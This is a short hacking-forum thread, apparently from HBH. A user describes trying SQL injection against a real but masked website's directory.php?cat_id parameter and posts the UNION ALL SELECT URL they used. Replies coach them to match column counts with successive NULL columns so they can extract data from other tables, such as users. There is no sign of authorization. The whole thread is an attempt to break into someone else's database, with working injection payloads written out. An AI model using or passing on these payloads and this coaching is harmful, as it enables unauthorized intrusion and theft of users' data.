Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

BLIND SQL INJECTION SO CLOSE


ghost's Avatar
0 0

i found a vulnerable site that does the following in the url markuphttp://www.***************.com/directory.php?cat_id= then i did markuphttp://www.***************.com/directory.php?cat_id=-1%20UNION%20ALL%20SELECT%20*%20FROM%20users it spat out this markupThe used SELECT statements have a different number of columns I tried a couple of things after http://www.**************.com/directory.php?cat_id=-1%20UNION%20ALL%20SELECT%20 but im quite stuck any suggestions from you experts?


ghost's Avatar
0 0

i really did alot they said


ghost's Avatar
0 0

this is because the union select and the original select must select the SAME amount of columns, no more, no less. you can't just use * as a wildcard. instead keep nulling out column by column until you do not get that same error.

so instead of union all select * from wherever/* do: union all select null from whereveer/* union all select null, null from whereever/* union all select null, null, null from whereever/* and so on


synstealth's Avatar
PHP WARRIOR
2,490 1

use union ALL select to trick the query into thinking they have the correct columns if you want to pull something from another table using a table that exists on the server.


ghost's Avatar
0 0

yeah use null's to make the to tables have the same columns